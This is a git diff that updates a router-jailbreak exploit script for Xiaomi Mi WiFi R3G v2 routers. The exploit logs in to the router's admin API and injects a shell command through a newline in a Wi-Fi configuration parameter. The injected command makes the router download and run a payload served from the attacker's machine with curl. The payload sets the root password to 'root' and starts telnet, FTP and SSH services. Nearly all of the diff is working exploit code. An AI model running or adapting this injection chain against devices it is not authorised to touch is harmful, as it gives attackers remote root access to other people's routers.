diff --git a/bootstrapper_v2.sh b/bootstrapper_v2.sh new file mode 100644 index 0000000..f16613e --- /dev/null +++ b/bootstrapper_v2.sh @@ -0,0 +1,9 @@ +#!/bin/ash + +set -euo pipefail +cd /tmp +tar -xzf /tmp/payload.tar.gz +chmod a+x /tmp/script.sh +/tmp/script.sh exploit + +exit 0 \ No newline at end of file diff --git a/extras/busybox/busybox b/extras/busybox/busybox new file mode 100644 index 0000000..f478a11 Binary files /dev/null and b/extras/busybox/busybox differ diff --git a/http_file_server.py b/http_file_server.py new file mode 100644 index 0000000..499122d --- /dev/null +++ b/http_file_server.py @@ -0,0 +1,35 @@ +import socketserver +import threading +import time +import sys +import http.server +import socket + +class HttpFileServer: + def __init__(self, root_dir='.'): + HOST, PORT = '', 0 + self.server = socketserver.TCPServer((HOST, PORT), http.server.SimpleHTTPRequestHandler) + self.server.root_dir = root_dir + self.ip, self.port = self.server.server_address + + def __enter__(self): + self.run() + return self + + def run(self): + self.server_thread = threading.Thread(target=self.server.serve_forever) + self.server_thread.daemon = True + self.server_thread.start() + print("local file server is runing on {}:{}. root='{}'".format(self.ip, self.port, self.server.root_dir)) + + def __exit__(self, exc_type, exc_val, exc_tb): + print("stopping local file server") + self.server.shutdown() + self.server.server_close() + + +if __name__ == "__main__": + root_dir = '.' if len(sys.argv) <= 1 else sys.argv[1] + with HttpFileServer(root_dir): + while True: + time.sleep(10) diff --git a/remote_command_execution_vulnerability.py b/remote_command_execution_vulnerability.py index d1b1ab8..d280393 100644 --- a/remote_command_execution_vulnerability.py +++ b/remote_command_execution_vulnerability.py @@ -1,17 +1,22 @@ #!/usr/bin/python -# There is a remote command execution vulnerability in Xiaomi Mi WiFi R3G before version stable 2.28.23. -# The backup file is in tar.gz format. After uploading, the application uses the tar zxf command to decompress, -# so you can control the contents of the files in the decompressed directory. -# In addition, the application's sh script for testing upload and download speeds will read the url list from /tmp/speedtest_urls.xml, -# and there is a command injection vulnerability. +''' +There is a remote command execution vulnerability in Xiaomi Mi WiFi R3G V2 with version 2.30.20 and up we can +use to activate Telnet and SSH to flash our own system on them. -# discoverer: UltramanGaia from Kap0k & Zhiniang Peng from Qihoo 360 Core Security +The script creates a payload, which is served via a local HTTP server, port 8000. The router +will download the payload, extracts it and executes the already known script. -# HOW TO RUN -# Install requirements -# pip3 install -r requirements.txt -# Run the script -# python3 remote_command_execution_vulnerability.py +The busybox executable was removed from the firmware, so we have to include one, same with +dropbear for SSH. They will be in the payload, no other downloads necessary. + +Source: https://github.com/acecilia/OpenWRTInvasion/issues/141#issuecomment-1296033775 + +HOW TO RUN +Install requirements +pip3 install -r requirements.txt +Run the script +python3 remote_command_execution_vulnerability.py +''' import os import shutil @@ -24,19 +29,31 @@ import hashlib import platform import socket +import urllib.parse +import socket -# make sure that script.sh on windows uses \n +#------------------------------------------------------------------------------------------------------------------ if platform.system() == "Windows": - with open("script.sh", "rt", encoding = "UTF-8") as f: - content = f.read() - with open("script.sh", "wt", encoding = "UTF-8", newline="\n") as f: - f.write(content) - -router_ip_address="miwifi.com" -#router_ip_address = "192.168.31.1" -router_ip_address = input("Router IP address [press enter for using the default '{}']: ".format(router_ip_address)) or router_ip_address - -# get stok + sys.exit("Stopping: script can only be run on a Mac/Linux system") +#------------------------------------------------------------------------------------------------------------------ + +#------------------------------------------------------------------------------------------------------------------ +# functions +# get_hosting_ip for the webserver request +def get_hosting_ip(): + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.settimeout(0) + try: + # doesn't even have to be reachable + s.connect(('192.168.31.1', 1)) + IP = s.getsockname()[0] + except Exception: + IP = '127.0.0.1' + finally: + s.close() + return IP +#------------------------------------------------------------------------------------------------------------------ +# get stok for router access def get_stok(router_ip_address): try: r0 = requests.get("http://{router_ip_address}/cgi-bin/luci/web".format(router_ip_address=router_ip_address)) @@ -50,7 +67,8 @@ def get_stok(router_ip_address): return None key = re.findall(r'key: \'(.*)\',', r0.text)[0] nonce = "0_" + mac + "_" + str(int(time.time())) + "_" + str(random.randint(1000, 10000)) - router_password = input("Enter router admin password: ") + router_password = "12345678" + router_password = input("Enter router admin password: '{}']: ".format(router_password)) or router_password account_str = hashlib.sha1((router_password + key).encode('utf-8')).hexdigest() password = hashlib.sha1((nonce + account_str).encode('utf-8')).hexdigest() data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce) @@ -64,81 +82,35 @@ def get_stok(router_ip_address): print("Failed to get stok in login response '{}'".format(r1.text)) return None return stok - -stok = get_stok(router_ip_address) or input("You need to get the stok manually, then input the stok here: ") -print("""There two options to provide the files needed for invasion: - 1. Use a local TCP file server runing on random port to provide files in local directory `script_tools`. - 2. Download needed files from remote github repository. (choose this option only if github is accessable inside router device.)""") -use_local_file_server = (input("Which option do you prefer? (default: 1)") or "1") == "1" - -# From https://blog.securityevaluators.com/show-mi-the-vulns-exploiting-command-injection-in-mi-router-3-55c6bcb48f09 -# In the attacking machine (macos), run the following before executing this script: /usr/bin/nc -l 4444 -command = "((sh /tmp/script.sh exploit) &)" - -# proxies = {"http":"http://127.0.0.1:8080"} -proxies = {} - -if os.path.exists("build"): - shutil.rmtree("build") -os.makedirs("build") - -# make config file -speed_test_filename = "speedtest_urls.xml" -with open("speedtest_urls_template.xml", "rt", encoding = "UTF-8") as f: - template = f.read() -data = template.format(router_ip_address=router_ip_address, command=command) -# print(data) -with open("build/speedtest_urls.xml", "wt", encoding = "UTF-8", newline = "\n") as f: - f.write(data) - -print("****************") -print("router_ip_address: " + router_ip_address) -print("stok: " + stok) -print("file provider: " + ("local file server" if use_local_file_server else "remote github repository")) -print("****************") - -# Make tar -with tarfile.open("build/payload.tar.gz", "w:gz") as tar: - tar.add("build/speedtest_urls.xml", "speedtest_urls.xml") - tar.add("script.sh") - # tar.add("busybox") - # tar.add("extras/wget") - # tar.add("extras/xiaoqiang") - -# upload config file -print("start uploading config file...") -r1 = requests.post( - "http://{}/cgi-bin/luci/;stok={}/api/misystem/c_upload".format(router_ip_address, stok), - files={"image": open("build/payload.tar.gz", 'rb')}, - proxies=proxies -) -# print(r1.text) - -def send_test_netspeed_request(router_ip_address, stok, port): - r = requests.get( - "http://{}/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed?{}".format(router_ip_address, stok, port), - proxies=proxies - ) - # print(r.text) - -# exec download speed test, exec command -print("start exec command...") -if use_local_file_server: - from tcp_file_server import TcpFileServer - file_server = TcpFileServer("script_tools") - - with file_server: - # The TCP file server will use a random port number. - # And this port number will be sent to the router luci web server through query parameters of testing net speed request here. - # Then in the injected `script.sh`, we can get the client IP address and file server port - # through CGI variables `REMOTE_ADDR` and `QUERY_STRING` to download needed files. - send_test_netspeed_request(router_ip_address, stok, file_server.port) -else: # Use remote github repository. port setted to 0. - send_test_netspeed_request(router_ip_address, stok, port=0) - -retry = 3 -delay = 1 -timeout = 3 +#------------------------------------------------------------------------------------------------------------------ +# create_exploit_url creates the URL we use, to upload our payload and execute it +def create_exploit_url(http_port_number): + exploit_cmd = "cd /tmp && " + exploit_cmd += "curl -s http://{}:{}/build/payload.tar.gz > payload.tar.gz && ".format(hosting_ip, http_port_number) + exploit_cmd += "curl -s http://{}:{}/bootstrapper_v2.sh > bootstrapper.sh && ".format(hosting_ip, http_port_number) + exploit_cmd += "/bin/ash /tmp/bootstrapper.sh".format(hosting_ip, http_port_number, hosting_ip, http_port_number) + + + print("exploit url: {}".format(exploit_cmd)) + exploit_code = urllib.parse.quote(exploit_cmd).replace("/", "%2F") + print("exploit_code: {}".format(exploit_code)) + + exploit_url = "http://{}/cgi-bin/luci/;stok={}/api/misystem/set_config_iotdev?bssid=XXXXXX&user_id=XXXXXX&ssid=-h%0A{}%0A".format(router_ip_address, stok, exploit_code) + print("exploit_url: {}".format(exploit_url)) + return exploit_url +#------------------------------------------------------------------------------------------------------------------ +# checkHost - checks the host connection +def checkHost(ip, port): + ipup = False + for i in range(retry): + if isOpen(ip, port): + ipup = True + break + else: + time.sleep(delay) + return ipup +#------------------------------------------------------------------------------------------------------------------ +# isOpen checks ports on the router def isOpen(ip, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) @@ -150,21 +122,56 @@ def isOpen(ip, port): return False finally: s.close() +#------------------------------------------------------------------------------------------------------------------ +# BuildPayload creates the tar.gz we let the router download from out client +def BuildPayload(): + if os.path.exists("build"): + shutil.rmtree("build") + + os.makedirs("build") + + # Make tar + with tarfile.open("build/payload.tar.gz", "w:gz") as tar: + tar.add("script_v2.sh", "script.sh") + tar.add("extras/busybox/busybox", "busybox") + tar.add("script_tools/dropbearStaticMipsel.tar.bz2", "dropbear.tar.bz2") +#------------------------------------------------------------------------------------------------------------------ +def ExecuteInjection(): + from http_file_server import HttpFileServer + web_server = HttpFileServer("build") + + with web_server: + # upload and execute payload + print("start uploading payload file...") + payload_download = requests.get(create_exploit_url(web_server.port)) + print(payload_download.text) + +#------------------------------------------------------------------------------------------------------------------ +# Scriptstart +#------------------------------------------------------------------------------------------------------------------ +hosting_ip = get_hosting_ip() +http_port_number = 0 +router_ip_address="192.168.31.1" +router_ip_address = input("Router IP address [press enter for using the default '{}']: ".format(router_ip_address)) or router_ip_address +hosting_ip = input("Local Host IP address [press enter for using the default '{}']: ".format(hosting_ip)) or hosting_ip +stok = get_stok(router_ip_address) or input("You need to get the stok manually, then input the stok here: ") -def checkHost(ip, port): - ipup = False - for i in range(retry): - if isOpen(ip, port): - ipup = True - break - else: - time.sleep(delay) - return ipup +print("****************") +print("router_ip_address: " + router_ip_address) +print("stok: " + stok) +print("****************") + +BuildPayload() +ExecuteInjection() + +retry = 5 +delay = 5 +timeout = 20 if checkHost(router_ip_address, 22): print("done! Now you can connect to the router using several options: (user: root, password: root)") print("* telnet {}".format(router_ip_address)) - print("* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -c 3des-cbc -o UserKnownHostsFile=/dev/null root@{}".format(router_ip_address)) + print("* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc -o UserKnownHostsFile=/dev/null root@{}".format(router_ip_address)) print("* ftp: using a program like cyberduck") else: print("Warning: the process has finished, but seems like ssh connection to the router is not working as expected.") diff --git a/script_v2.sh b/script_v2.sh new file mode 100644 index 0000000..0a6f8c3 --- /dev/null +++ b/script_v2.sh @@ -0,0 +1,113 @@ +#!/bin/ash +LOGFILE="/tmp/exploit.log" + +set -euo pipefail + +exploit() { + echo "start Exploit" >> $LOGFILE + echo "setup_password" >> $LOGFILE + setup_password + + echo "setup_busybox" >> $LOGFILE + setup_busybox + + echo "start_telnet" >> $LOGFILE + start_telnet + + echo "start_ftp" >> $LOGFILE + start_ftp + + echo "start_ssh" >> $LOGFILE + start_ssh + echo "Done exploiting" >> $LOGFILE +} + +setup_password() { + # Override existing password, as the default one set by xiaomi is unknown + # https://www.systutorials.com/changing-linux-users-password-in-one-command-line/ + echo "setting password for root" >> $LOGFILE + echo -e "root\nroot" | passwd root + echo "password set" >> $LOGFILE +} + +setup_busybox() { + + echo "kill/stop telnet, in case it is running from a previous execution" >> $LOGFILE + pgrep busybox | xargs kill || true + + echo "go to /tmp" >> $LOGFILE + cd /tmp >> $LOGFILE 2>&1 + + echo "chmod a+x to busybox" >> $LOGFILE + chmod a+x busybox >> $LOGFILE 2>&1 +} + +start_ftp() { + echo "go to /tmp" >> $LOGFILE + cd /tmp >> $LOGFILE 2>&1 + echo "create link" >> $LOGFILE + ln -sfn busybox ftpd >> $LOGFILE 2>&1 # Create symlink needed for running ftpd + + echo "starting ftp" >> $LOGFILE + ./busybox tcpsvd -vE 0.0.0.0 21 ./ftpd -Sw / >> /tmp/messages 2>&1 & + echo "ftp done" >> $LOGFILE +} + +start_telnet() { + echo "go to /tmp" >> $LOGFILE + cd /tmp >> $LOGFILE 2>&1 + + echo "start telnet" >> $LOGFILE + ./busybox telnetd >> $LOGFILE 2>&1 + echo "telnet done" >> $LOGFILE +} + +start_ssh() { + echo "go to /tmp" >> $LOGFILE + cd /tmp >> $LOGFILE 2>&1 + + echo "kill/stop dropbear, in case it is running from a previous execution" >> $LOGFILE + pgrep dropbear | xargs kill || true + sleep 2 # wait for the kill + + echo "clean old installation" >> $LOGFILE + rm -rf /tmp/dropbear >> $LOGFILE 2>&1 + rm -rf /tmp/dropbearStaticMipsel >> $LOGFILE 2>&1 # for old stuck files + rm -f /tmp/dropbear.tar >> $LOGFILE 2>&1 # for old stuck files + rm -rf /etc/dropbear >> $LOGFILE 2>&1 + + echo "Unzipping dropbear static mipsel binary" >> $LOGFILE + bunzip2 -f /tmp/dropbear.tar.bz2 >> $LOGFILE 2>&1 + + echo "Untarring dropbear static mipsel binary" >> $LOGFILE + tar -xf /tmp/dropbear.tar >> $LOGFILE 2>&1 + + echo "moving untared dropbear" >> $LOGFILE + mv /tmp/dropbearStaticMipsel /tmp/dropbear >> $LOGFILE 2>&1 + + # Add keys + # http://www.ibiblio.org/elemental/howto/dropbear-ssh.html + echo "create dropbear folder in etc" >> $LOGFILE + mkdir -p /etc/dropbear >> $LOGFILE 2>&1 + + echo "go to /etc/dropbear" >> $LOGFILE + cd /etc/dropbear >> $LOGFILE 2>&1 + + echo "creating RSA Key" >> $LOGFILE + /tmp/dropbear/dropbearkey -t rsa -f dropbear_rsa_host_key >> $LOGFILE 2>&1 + + echo "creating DSS Key" >> $LOGFILE + /tmp/dropbear/dropbearkey -t dss -f dropbear_dss_host_key >> $LOGFILE 2>&1 + + echo "Start SSH server" >> $LOGFILE + /tmp/dropbear/dropbear >> $LOGFILE 2>&1 + sleep 2 # wait for the start + + echo "SSH done" >> $LOGFILE + + # https://unix.stackexchange.com/a/402749 + # Login with ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc root@192.168.0.21 +} + +# From https://stackoverflow.com/a/16159057 +"$@"